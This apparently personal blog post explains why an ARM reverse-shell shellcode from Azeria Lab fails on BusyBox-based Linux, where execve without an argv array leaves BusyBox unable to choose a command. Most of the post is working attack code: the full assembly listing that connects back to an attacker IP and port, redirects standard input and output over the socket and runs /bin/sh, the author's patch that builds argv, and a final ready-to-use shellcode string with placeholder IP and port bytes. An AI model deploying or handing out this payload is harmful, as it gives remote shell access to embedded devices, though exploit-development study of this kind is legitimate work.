Why Shellcode Doesn't Work on BusyBox
Why shellcode doesn’t work on busybox
Is bad shellcode?
I had a problem when was testing back-connect shellcode for ARM platform. I took
shellcode from Azeria Lab and he didn’t work correctly. I had back-connect, but without any command execution.
I was testing shellcode on Linux with BusyBox. Simply, /bin/sh
is the link to
/bin/busybox
. So when I execute /bin/sh
, instead starting /bin/busybox
and determine which utily i run and execute it. Another interesting point: when i tried debugging shellcode - he was crashing with SIGSEGV after calling execve syscall.
How does BusyBox determine which command run?
For testing write small program:
int main(int argc, char **argv)
{
printf("argv[0]: %s\n", argv[0]);
return 0;
}
Then compile and run:
$ gcc test.c -o test
$ ./test
argv[0]: ./test
Try create link to test and run test from link:
$ ln -s test ./not_test
$ ./not_test
argv[0]: ./not_test
So, when we run program, command processor (bash or busybox) execute syscall execve
and set argv[0]
to the program name. Then, if we execute command in BusyBox ecosystem, BusyBox analysing argv[0]
and execute correspond command.
How does shellcode execute /bin/sh
?
Shellcode assembler listing from Azeria Lab:
.section .text
.global _start
_start:
.ARM
\x01\x30\x8f\xe2 add r3, pc, #1 // switch to thumb mode
\x13\xff\x2f\xe1 bx r3
.THUMB
// socket(2, 1, 0)
\x02\x20 mov r0, #2
\x01\x21 mov r1, #1
\x92\x1a sub r2, r2
\xc8\x27 mov r7, #200
\x51\x37 add r7, #81 // r7 = 281 (socket)
\x01\xdf svc #1 // r0 = resultant sockfd
\x04\x1c mov r4, r0 // save sockfd in r4
// connect(r0, &sockaddr, 16)
\x0a\xa1 adr r1, struct // pointer to address, port
\x4a\x70 strb r2, [r1, #1] // write 0 for AF_INET
\x10\x22 mov r2, #16
\x02\x37 add r7, #2 // r7 = 283 (connect)
\x01\xdf svc #1
// dup2(sockfd, 0)
\x3f\x27 mov r7, #63 // r7 = 63 (dup2)
\x20\x1c mov r0, r4 // r4 is the saved sockfd
\x49\x1a sub r1, r1 // r1 = 0 (stdin)
\x01\xdf svc #1
// dup2(sockfd, 1)
\x20\x1c mov r0, r4 // r4 is the saved sockfd
\x01\x21 mov r1, #1 // r1 = 1 (stdout)
\x01\xdf svc #1
// dup2(sockfd, 2)
\x20\x1c mov r0, r4 // r4 is the saved sockfd
\x02\x21 mov r1, #2 // r1 = 2 (stderr)
\x01\xdf svc #1
// execve("/bin/sh", 0, 0)
\x04\xa0 adr r0, binsh
\x52\x40 sub r2, r2
\x49\x40 sub r1, r1
\xc2\x71 strb r2, [r0, #7]
\x0b\x27 mov r7, #11 // r7 = 11 (execve)
\x01\xdf svc #1
struct:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port number 4444
.byte 192,168,139,130 // IP Address
binsh:
.ascii "/bin/shX"
Syscall execve
calling without passing argv
array, thus BusyBox can’t determine which program need to call. For correct shellcode working we should define array argv
and pass them to the execve
syscall.
Shellcode modification
I use online assembler/disassembler. Throw out first 8 bytes from shellcode (because there are 2 instructions used to switch to the thumb-mode) and decompile in “ARM (thumb)” mode.
0x0000: \x02\x20 movs r0, #2
0x0002: \x01\x21 movs r1, #1
0x0004: \x92\x1a subs r2, r2, r2
0x0006: \xc8\x27 movs r7, #0xc8
0x0008: \x51\x37 adds r7, #0x51
0x000a: \x01\xdf svc #1
0x000c: \x04\x1c adds r4, r0, #0
0x000e: \x0a\xa1 adr r1, #0x28
0x0010: \x4a\x70 strb r2, [r1, #1]
0x0012: \x10\x22 movs r2, #0x10
0x0014: \x02\x37 adds r7, #2
0x0016: \x01\xdf svc #1
0x0018: \x3f\x27 movs r7, #0x3f
0x001a: \x20\x1c adds r0, r4, #0
0x001c: \x49\x1a subs r1, r1, r1
0x001e: \x01\xdf svc #1
0x0020: \x20\x1c adds r0, r4, #0
0x0022: \x01\x21 movs r1, #1
0x0024: \x01\xdf svc #1
0x0026: \x20\x1c adds r0, r4, #0
0x0028: \x02\x21 movs r1, #2
0x002a: \x01\xdf svc #1
0x002c: \x04\xa0 adr r0, #0x10
0x002e: \x52\x40 eors r2, r2
0x0030: \x49\x40 eors r1, r1
0x0032: \xc2\x71 strb r2, [r0, #7]
0x0034: \x0b\x27 movs r7, #0xb
0x0036: \x01\xdf svc #1
Create array argv
on the stack, bacause integrity of the stack after execve
syscall doesn’t matter. Write next ARM-thumb assembly code after offset 0x30 in the shellcode:
// Write null to argv[0]
str r1, [sp, #4]
// Write null to argv[1], end marker
str r1, [sp, #8]
// Write address of '/bin/bash' string to argv[0]
str r0, [sp, #4]
// Set r0 to the pointer of argv
add r1, sp, #4
With online assembler (see above) translate instruction to binary view.
But it doesn’t end. Since, we added instruction before data, so we must edit the arguments in 2 adr
instructions (offsets 0x000e
and 0x002c
). Offset to data incarsed by 8 bytes, thus we should incement by 2 arg in binary view (2*4=8
). Replace instructions from:
0x000e: \x0a\xa1 adr r1, #0x28
0x002c: \x04\xa0 adr r0, #0x10
to:
0x000e: \x0c\xa1 adr r1, #0x30
0x002c: \x06\xa0 adr r0, #0x18
The final shellcode
For easy use i replace port to \x42\x42
mark and IP-address to \x41\x41\x41\x41
mark:
sc = '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0c\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x52\x40\x49\x40\x01\x91\x02\x91\x01\x90\x01\xa9\xc2\x71\x0b\x27\x01\xdf\x02\xff\x42\x42\x41\x41\x41\x41\x2f\x62\x69\x6e\x2f\x73\x68\x58\x00'